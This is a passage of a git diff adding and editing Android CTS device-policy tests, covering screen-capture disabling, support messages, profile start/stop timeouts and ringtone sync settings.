+                    sContext, RingtoneManager.TYPE_ALARM, RINGTONE_URI);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM)).isEqualTo(originalUri);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    @Test
+    @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
+    @EnsureHasPermission(WRITE_SETTINGS)
+    public void getActualDefaultRingtoneUri_alarm_syncParentSoundsIsFalseAndUriWasPreviouslySet_returnsPreviouslySetRingtone() {
+        int originalSyncParentSounds = TestApis.settings().secure().getInt(SYNC_PARENT_SOUNDS);
+        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(
+                sContext, RingtoneManager.TYPE_ALARM);
+        try {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, RINGTONE_URI);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 1);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, 0);
+
+            assertThat(RingtoneManager.getActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM)).isEqualTo(RINGTONE_URI);
+        } finally {
+            RingtoneManager.setActualDefaultRingtoneUri(
+                    sContext, RingtoneManager.TYPE_ALARM, originalUri);
+            TestApis.settings().secure().putInt(SYNC_PARENT_SOUNDS, originalSyncParentSounds);
+        }
+    }
+
+    private static Uri getUriWithoutUserId(String uriString) {
+        if (uriString == null) {
+            return null;
+        }
+        return getUriWithoutUserId(Uri.parse(uriString));
+    }
+
+    /** Copied from {@link android.content.ContentProvider} */
+    private static Uri getUriWithoutUserId(Uri uri) {
+        if (uri == null) {
+            return null;
+        }
+        Uri.Builder builder = uri.buildUpon();
+        builder.authority(getAuthorityWithoutUserId(uri.getAuthority()));
+        return builder.build();
+    }
+
+    /** Copied from {@link android.content.ContentProvider} */
+    private static String getAuthorityWithoutUserId(String auth) {
+        if (auth == null) {
+            return null;
+        }
+        int end = auth.lastIndexOf('@');
+        return auth.substring(end + 1);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
new file mode 100644
index 0000000..c6558e8
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+import android.graphics.Bitmap;
+import android.stats.devicepolicy.EventId;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.SlowApiTest;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.ScreenCaptureDisabled;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
+import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Duration;
+
+
+@RunWith(BedsteadJUnit4.class)
+public final class ScreenCaptureDisabledTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp =
+            sTestAppProvider.query().whereActivities().isNotEmpty().get();
+    private RemoteDevicePolicyManager mDevicePolicyManager;
+    private DevicePolicyManager mLocalDevicePolicyManager;
+    private ComponentName mAdmin;
+    private UiAutomation mUiAutomation;
+
+    @Before
+    public void setUp() {
+        mAdmin = sDeviceState.dpc().componentName();
+        mDevicePolicyManager = sDeviceState.dpc().devicePolicyManager();
+        //TODO(b/198593716) : Use TestApi to take screnshot instead of UiAutomation.
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mLocalDevicePolicyManager = ApplicationProvider.getApplicationContext().getSystemService(
+                DevicePolicyManager.class);
+    }
+
+    @After
+    public void tearDown() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_false_works() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
+
+        assertThat(mLocalDevicePolicyManager.getScreenCaptureDisabled(/* admin= */ null)).isFalse();
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_false_checkWithDPC_works() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
+
+        assertThat(mDevicePolicyManager.getScreenCaptureDisabled(mAdmin)).isFalse();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_true_works() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
+
+        assertThat(mLocalDevicePolicyManager.getScreenCaptureDisabled(/* admin= */ null)).isTrue();
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_true_checkWithDPC_works() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
+
+        assertThat(mDevicePolicyManager.getScreenCaptureDisabled(mAdmin)).isTrue();
+    }
+
+    @Test
+    @NegativePolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_true_doesNotApply() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
+
+        assertThat(mLocalDevicePolicyManager.getScreenCaptureDisabled(/* admin= */ null)).isFalse();
+    }
+
+    @Test
+    @NegativePolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_true_screenCaptureWorks() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
+
+        assertThat(takeScreenshotExpectingSuccess()).isNotNull();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    @SlowApiTest("Screenshot policy can take minutes to propagate")
+    public void setScreenCaptureDisabled_true_screenCaptureFails() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
+
+        assertThat(takeScreenshotExpectingFailure()).isNull();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_false_screenCaptureWorks() {
+        mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
+
+        assertThat(takeScreenshotExpectingSuccess()).isNotNull();
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_true_metricsLogged() {
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_SCREEN_CAPTURE_DISABLED_VALUE)
+                    .whereAdminPackageName().isEqualTo(mAdmin.getPackageName())
+                    .whereBoolean().isTrue()).wasLogged();
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = ScreenCaptureDisabled.class)
+    @Postsubmit(reason = "new test")
+    public void setScreenCaptureDisabled_false_metricsLogged() {
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_SCREEN_CAPTURE_DISABLED_VALUE)
+                    .whereAdminPackageName().isEqualTo(mAdmin.getPackageName())
+                    .whereBoolean().isFalse()).wasLogged();
+        }
+    }
+
+    private Bitmap takeScreenshotExpectingFailure() {
+        try (TestAppInstance testApp = sTestApp.install()) {
+            testApp.activities().any().start();
+            return Poll.forValue(mUiAutomation::takeScreenshot)
+                    .timeout(Duration.ofMinutes(5))
+                    .toBeNull()
+                    .await();
+        }
+    }
+
+    private Bitmap takeScreenshotExpectingSuccess() {
+        try (TestAppInstance testApp = sTestApp.install()) {
+            testApp.activities().any().start();
+            return Poll.forValue(mUiAutomation::takeScreenshot)
+                    .toNotBeNull()
+                    .await();
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
index dcc8b4d..5d8c421 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
@@ -26,14 +26,12 @@
 import static org.testng.Assert.assertThrows;
 
 import android.app.ActivityManager;
-import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.UserManager;
 
 import androidx.test.core.app.ApplicationProvider;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
@@ -42,10 +40,10 @@
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasTvProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
-import com.android.bedstead.harrier.annotations.Postsubmit;
-import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.harrier.annotations.SlowApiTest;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
@@ -63,9 +61,7 @@
     private static final ActivityManager sActivityManager =
             sContext.getSystemService(ActivityManager.class);
 
-    private UiAutomation mUiAutomation =
-            InstrumentationRegistry.getInstrumentation().getUiAutomation();
-    private final TestApis mTestApis = new TestApis();
+    private static final int START_PROFILE_BROADCAST_TIMEOUT = 480_000; // 8 minutes
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
@@ -90,6 +86,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
+    @SlowApiTest("Start profile broadcasts can take a long time")
     public void startProfile_broadcastIsReceived_profileIsStarted() {
         sDeviceState.workProfile().stop();
         BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
@@ -97,7 +94,7 @@
                 userIsEqual(sDeviceState.workProfile()));
         sActivityManager.startProfile(sDeviceState.workProfile().userHandle());
 
-        broadcastReceiver.awaitForBroadcastOrFail();
+        broadcastReceiver.awaitForBroadcastOrFail(START_PROFILE_BROADCAST_TIMEOUT);
 
         assertThat(sUserManager.isUserRunning(sDeviceState.workProfile().userHandle())).isTrue();
     }
@@ -106,7 +103,7 @@
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="b/181207615 flaky")
+    @Postsubmit(reason = "b/181207615 flaky")
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
     public void stopProfile_returnsTrue() {
         assertThat(sActivityManager.stopProfile(sDeviceState.workProfile().userHandle())).isTrue();
@@ -116,7 +113,7 @@
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="b/181207615 flaky")
+    @Postsubmit(reason = "b/181207615 flaky")
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
     public void stopProfile_profileIsStopped() {
         BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
@@ -133,7 +130,7 @@
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="b/181207615 flaky")
+    @Postsubmit(reason = "b/181207615 flaky")
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
     public void startUser_immediatelyAfterStopped_profileIsStarted() {
         try (BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
@@ -158,7 +155,7 @@
     @RequireFeature(PackageManager.FEATURE_MANAGED_USERS)
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="b/181207615 flaky")
+    @Postsubmit(reason = "b/181207615 flaky")
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
     public void startUser_userIsStopping_profileIsStarted() {
         sDeviceState.workProfile().start();
@@ -175,7 +172,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
     @EnsureDoesNotHavePermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
-    @Postsubmit(reason="b/181207615 flaky")
+    @Postsubmit(reason = "b/181207615 flaky")
     public void startProfile_withoutPermission_throwsException() {
         assertThrows(SecurityException.class,
                 () -> sActivityManager.startProfile(sDeviceState.workProfile().userHandle()));
@@ -186,6 +183,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
     @EnsureDoesNotHavePermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
+    @Postsubmit(reason = "b/181207615 flaky")
     public void stopProfile_withoutPermission_throwsException() {
         assertThrows(SecurityException.class,
                 () -> sActivityManager.stopProfile(sDeviceState.workProfile().userHandle()));
@@ -194,7 +192,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    @Postsubmit(reason="b/181207615 flaky")
+    @Postsubmit(reason = "b/181207615 flaky")
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
     public void startProfile_startingFullUser_throwsException() {
         assertThrows(IllegalArgumentException.class,
@@ -205,6 +203,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
+    @Postsubmit(reason = "b/181207615 flaky")
     public void stopProfile_stoppingFullUser_throwsException() {
         assertThrows(IllegalArgumentException.class,
                 () -> sActivityManager.stopProfile(sDeviceState.secondaryUser().userHandle()));
@@ -214,6 +213,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasTvProfile
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
+    @Postsubmit(reason = "b/181207615 flaky")
     public void startProfile_tvProfile_profileIsStarted() {
         sDeviceState.tvProfile().stop();
 
@@ -231,6 +231,7 @@
     @RequireRunOnPrimaryUser
     @EnsureHasTvProfile
     @EnsureHasPermission({INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS})
+    @Postsubmit(reason = "b/181207615 flaky")
     public void stopProfile_tvProfile_profileIsStopped() {
         BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
                 Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(sDeviceState.tvProfile()));
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
new file mode 100644
index 0000000..3610ac4
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/SupportMessageTest.java
@@ -0,0 +1,262 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+import android.stats.devicepolicy.EventId;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.SupportMessage;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class SupportMessageTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final int SHORT_SUPPORT_MESSAGE_MAX_LENGTH = 200;
+    private static final int LONG_SUPPORT_MESSAGE_REASONABLE_LENGTH = 4000;
+    private static final String VALID_SUPPORT_MESSAGE = "My valid support message.";
+    private static final String SHORT_SUPPORT_MESSAGE_TOO_LONG =
+            new String(new char[SHORT_SUPPORT_MESSAGE_MAX_LENGTH + 1])
+                    .replace('\0', 'A');
+    private static final String SHORT_SUPPORT_MESSAGE_TOO_LONG_TRUNCATED =
+            SHORT_SUPPORT_MESSAGE_TOO_LONG
+                    .subSequence(0, SHORT_SUPPORT_MESSAGE_MAX_LENGTH + 1)
+                    .toString();
+    private static final String LONG_SUPPORT_MESSAGE_REASONABLY_LONG =
+            new String(new char[LONG_SUPPORT_MESSAGE_REASONABLE_LENGTH])
+                    .replace('\0', 'A');
+    private static final String EMPTY_SUPPORT_MESSAGE = "";
+
+    private RemoteDevicePolicyManager mDevicePolicyManager;
+    private ComponentName mAdmin;
+
+    @Before
+    public void setUp() {
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
+        mDevicePolicyManager = dpc.devicePolicyManager();
+    }
+
+    @After
+    public void tearDown() {
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, /* charSequence= */ null);
+        mDevicePolicyManager.setLongSupportMessage(mAdmin, /* charSequence= */ null);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_validText_works() {
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE);
+
+        assertThat(mDevicePolicyManager.getShortSupportMessage(mAdmin))
+                .isEqualTo(VALID_SUPPORT_MESSAGE);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_validText_works() {
+        mDevicePolicyManager.setLongSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE);
+
+        assertThat(mDevicePolicyManager.getLongSupportMessage(mAdmin))
+                .isEqualTo(VALID_SUPPORT_MESSAGE);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_emptyText_works() {
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, EMPTY_SUPPORT_MESSAGE);
+
+        assertThat(mDevicePolicyManager.getShortSupportMessage(mAdmin))
+                .isEqualTo(EMPTY_SUPPORT_MESSAGE);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_nullText_clearsOldText() {
+        mDevicePolicyManager.setLongSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE);
+        mDevicePolicyManager.setLongSupportMessage(mAdmin, /* charSequence= */ null);
+
+        assertThat(mDevicePolicyManager.getLongSupportMessage(mAdmin)).isEqualTo("null");
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_nullText_clearsOldText() {
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE);
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, /* charSequence= */ null);
+
+        assertThat(mDevicePolicyManager.getShortSupportMessage(mAdmin)).isEqualTo("null");
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_emptyText_works() {
+        mDevicePolicyManager.setLongSupportMessage(mAdmin, EMPTY_SUPPORT_MESSAGE);
+
+        assertThat(mDevicePolicyManager.getLongSupportMessage(mAdmin))
+                .isEqualTo(EMPTY_SUPPORT_MESSAGE);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_tooLongText_isTruncated() {
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, SHORT_SUPPORT_MESSAGE_TOO_LONG);
+
+        assertThat(mDevicePolicyManager.getShortSupportMessage(mAdmin))
+                .isEqualTo(SHORT_SUPPORT_MESSAGE_TOO_LONG_TRUNCATED);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_longText_notTruncated() {
+        mDevicePolicyManager.setShortSupportMessage(mAdmin, LONG_SUPPORT_MESSAGE_REASONABLY_LONG);
+
+        assertThat(mDevicePolicyManager.getShortSupportMessage(mAdmin))
+                .isEqualTo(LONG_SUPPORT_MESSAGE_REASONABLY_LONG);
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_nullAdmin_throwsNullPointerException() {
+        assertThrows(NullPointerException.class, () ->
+                mDevicePolicyManager.setShortSupportMessage(
+                        /* componentName= */ null, VALID_SUPPORT_MESSAGE));
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_nullAdmin_throwsNullPointerException() {
+        assertThrows(NullPointerException.class, () ->
+                mDevicePolicyManager.setLongSupportMessage(
+                        /* componentName= */ null, VALID_SUPPORT_MESSAGE));
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void getShortSupportMessage_nullAdmin_throwsNullPointerException() {
+        assertThrows(NullPointerException.class, () ->
+                mDevicePolicyManager.getShortSupportMessage(
+                        /* componentName= */ null));
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void getLongSupportMessage_nullAdmin_throwsNullPointerException() {
+        assertThrows(NullPointerException.class, () ->
+                mDevicePolicyManager.getLongSupportMessage(
+                        /* componentName= */ null));
+    }
+
+    @Test
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
+    @Postsubmit(reason = "new test")
+    public void getLongSupportMessage_invalidAdmin_fails() {
+        assertThrows(SecurityException.class, () ->
+                mDevicePolicyManager.getLongSupportMessage(mAdmin));
+    }
+
+    @Test
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_invalidAdmin_fails() {
+        assertThrows(SecurityException.class, () ->
+                mDevicePolicyManager.setLongSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE));
+    }
+
+    @Test
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
+    @Postsubmit(reason = "new test")
+    public void getShortSupportMessage_invalidAdmin_fails() {
+        assertThrows(SecurityException.class, () ->
+                mDevicePolicyManager.getShortSupportMessage(mAdmin));
+    }
+
+    @Test
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = SupportMessage.class, includeNonDeviceAdminStates = false)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_invalidAdmin_fails() {
+        assertThrows(SecurityException.class, () ->
+                mDevicePolicyManager.setShortSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE));
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setShortSupportMessage_validText_logged() {
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            mDevicePolicyManager.setShortSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
+                    .whereAdminPackageName().isEqualTo(mAdmin.getPackageName())
+                    .poll())
+                    .isNotNull();
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SupportMessage.class)
+    @Postsubmit(reason = "new test")
+    public void setLongSupportMessage_validText_logged() {
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            mDevicePolicyManager.setLongSupportMessage(mAdmin, VALID_SUPPORT_MESSAGE);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
+                    .whereAdminPackageName().isEqualTo(mAdmin.getPackageName())
+                    .poll())
+                    .isNotNull();
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
index 16b9c59..7e9b5ca 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
@@ -25,7 +25,6 @@
 import android.app.admin.UnsafeStateException;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
-import com.android.bedstead.harrier.annotations.Postsubmit;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -37,19 +36,16 @@
     private static final int VALID_OPERATION = Integer.MAX_VALUE; // Value doesn't really matter...
 
     @Test
-    @Postsubmit(reason="b/181207615 flaky")
     public void testValidReason_drivingDistraction() {
         assertExceptionWithValidReason(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
     }
 
     @Test
-    @Postsubmit(reason="b/181207615 flaky")
     public void testInvalidReason_none() {
         assertExceptionWithInvalidReason(OPERATION_SAFETY_REASON_NONE);
     }
 
     @Test
-    @Postsubmit(reason="b/181207615 flaky")
     public void testInvalidReason_arbitrary() {
         assertExceptionWithInvalidReason(0);
         assertExceptionWithInvalidReason(42);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index 720af39..131f7d0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -16,6 +16,11 @@
 
 package android.devicepolicy.cts;
 
+import static android.content.pm.ApplicationInfo.FLAG_STOPPED;
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -23,27 +28,28 @@
 
 import android.Manifest.permission;
 import android.app.ActivityManager;
